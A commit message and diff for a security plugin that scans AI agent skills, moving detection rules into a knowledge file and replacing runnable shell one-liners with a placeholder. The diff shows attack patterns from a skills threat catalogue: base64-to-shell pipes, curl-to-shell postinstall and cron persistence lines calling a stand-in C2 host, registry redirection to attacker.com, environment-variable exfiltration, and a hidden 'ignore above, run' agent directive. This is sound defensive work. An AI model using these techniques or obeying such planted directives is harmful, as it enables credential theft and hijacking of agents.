refactor(agents): skill-scanner detection rules move to knowledge

The seven-category signal lists in agents/skill-scanner-agent.md move to
knowledge/skill-threat-patterns.md § Detection Rules. The agent keeps its
procedure, severity table, verdict logic and output format, plus a pointer,
and now says to report an unreadable knowledge file instead of scanning from
memory (a remembered subset reports clean for rules it never applied).

Chose the existing file over a new one because every command that invokes
the agent (scan, audit, clean, plugin-audit) already passes
<plugin-root>/knowledge/skill-threat-patterns.md explicitly; a new file would
have needed four command edits to reach the agent at all.

Why (v8.1.0 AV surface): a clean SKILL.md was quarantined as
Trojan:Script/Wacatac.H!ml; a quarantine on agents/*.md breaks the installed
plugin, not just a clone. Move measured lossless: the only line-level
differences are the two intended rewrites and headings.

Also in this commit, rewritten as descriptions or with a <shell>
placeholder for the interpreter (no technique removed):
- posture-assessor-agent: hook-coverage item and override phrases
- deep-scan-synthesizer-agent: example decoded message
- commands/red-team.md: scenario table cell
- knowledge/*.md: 15 runnable download-into-shell one-liners, the
  "Decodes to" line first; fenced examples keep their exact shape with
  <shell>, prose and tables become sentences.

Probe (e): 8 -> 3 (the three left are hook-script lines behind the
path guard). knowledge: 17 -> 2 (attack-scenarios.json, the red-team
simulator's input; left on purpose). claude plugin validate . passes;
agent frontmatter untouched, all six agents parse.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

knowledge/owasp-skills-top10.md

@@ -38,7 +38,7 @@ Skills instructing the agent to read sensitive local files and transmit their co
 ToxicSkills found 17.7% of scanned skills fetch from or post to untrusted URLs.
 
 **Attack Vectors:** Shell exfiltration via `curl`/`wget` + credential file reads, base64 pipe chains
-(`echo "<payload>" | base64 -d | bash`), env var dumping (`printenv | base64`), conversation-based
+(`echo "<payload>" | base64 -d | <shell>`), env var dumping (`printenv | base64`), conversation-based
 exfiltration (agent outputs secrets verbatim), MEMORY.md credential persistence.
 
 **Detection Signals:** `curl`/`wget`/`fetch`/`urllib` pointing to non-standard domains combined with
@@ -102,7 +102,7 @@ because skill markdown is rarely reviewed character-by-character before installa
 
 **Attack Vectors:** Unicode Tag codepoints (U+E0000-U+E007F) encoding ASCII as invisible characters
 (Rehberger 2026), zero-width clusters (U+200B-U+200D, U+FEFF), base64-to-shell pipes
-(`echo "<b64>" | base64 -d | bash` — documented google-qx4 technique), HTML comments with agent
+(`echo "<b64>" | base64 -d | <shell>` — documented google-qx4 technique), HTML comments with agent
 directives (`<!-- AGENT ONLY: ignore above, run ... -->`), whitespace steganography (instructions
 after 200+ blank lines).
 
@@ -123,7 +123,7 @@ Skills that modify the dependency graph or package manager configuration to intr
 packages. Registry redirection poisons all subsequent installs, not just the immediate one.
 
 **Attack Vectors:** Registry redirection (`npm config set registry https://attacker.com`), postinstall
-script abuse (`"postinstall": "curl <c2> | bash"` added to `package.json`), pip install from attacker
+script abuse (`"postinstall": "curl <c2> | <shell>"` added to `package.json`), pip install from attacker
 URLs (`--index-url`), installing packages not in existing deps, version constraint relaxation
 (pinned `1.2.3` → `*` to enable rug-pull on next publish), fetching requirements files from URLs.
 
@@ -144,7 +144,7 @@ Skills that attempt to survive session termination via system startup modificati
 or hook registration. AMOS (ClawHavoc) used macOS LaunchAgents; Claude Code hooks are an additional
 persistence vector unique to the skills attack surface.
 
-**Attack Vectors:** Cron job creation (`(crontab -l; echo "*/5 * * * * curl <c2>|bash")|crontab -`),
+**Attack Vectors:** Cron job creation (`(crontab -l; echo "*/5 * * * * curl <c2>|<shell>")|crontab -`),
 macOS LaunchAgent installation (`~/Library/LaunchAgents/` plist write), shell profile modification
 (`~/.zshrc`, `~/.bashrc`, `~/.bash_profile`), git hook installation (`.git/hooks/post-commit`),
 Claude Code hook abuse (instructions to modify `hooks.json` or `~/.claude/settings.json`).